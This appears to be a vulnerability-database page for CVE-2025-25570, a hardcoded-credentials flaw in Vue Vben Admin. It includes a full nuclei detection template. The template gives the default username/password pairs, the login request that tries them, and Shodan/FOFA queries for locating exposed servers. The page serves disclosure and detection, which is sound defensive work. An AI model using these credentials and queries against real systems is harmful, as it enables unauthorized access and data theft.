HexBrain

Browse / CVEs / CVE-2025-25570

CVE-2025-25570· CWE-798

Vue Vben Admin - Default Credentials

criticalseverity
9.8CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

Vue Vben Admin 2.10.1 contains a broken authentication caused by hardcoded credentials in the backend, letting attackers log in without proper authorization, exploit requires access to the login interface.

Impact

Attackers can gain unauthorized access to the backend, potentially leading to data theft or system control

Fix

Remove hardcoded credentials and implement proper authentication mechanisms, update to the latest version if available.

How to confirm it

Send: POST {{BaseURL}}/basic-api/login
Positive when: status_code == 200 and contains_all(body, "\"code\":0", "\"type\":\"success\"", "\"result\":", "\"token\":") and contains_any(body, "Vben Admin", "Super Admin")

Run it with nuclei: nuclei -id CVE-2025-25570 -u <target>

The full check
id: CVE-2025-25570

info:
  name: Vue Vben Admin - Default Credentials
  author: 0x_Akoko
  severity: critical
  description: |
    Vue Vben Admin 2.10.1 contains a broken authentication caused by hardcoded credentials in the backend, letting attackers log in without proper authorization, exploit requires access to the login interface.
  impact: |
    Attackers can gain unauthorized access to the backend, potentially leading to data theft or system control
  remediation: |
    Remove hardcoded credentials and implement proper authentication mechanisms, update to the latest version if available.
  reference:
    - https://github.com/vbenjs/vue-vben-admin
    - https://doc.vvbin.cn/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-25570
    epss-score: 0.02097
    epss-percentile: 0.81829
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"vben" || http.html:"vue-vben-admin"
    fofa-query: body="vben" || body="vue-vben-admin"
  tags: cve,cve2025,vben,vue,default-login,credentials,vuln

http:
  - raw:
      - |
        POST {{BaseURL}}/basic-api/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    attack: clusterbomb
    payloads:
      username:
        - "vben"
        - "test"
      password:
        - "123456"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"code\":0", "\"type\":\"success\"", "\"result\":", "\"token\":")'
          - 'contains_any(body, "Vben Admin", "Super Admin")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from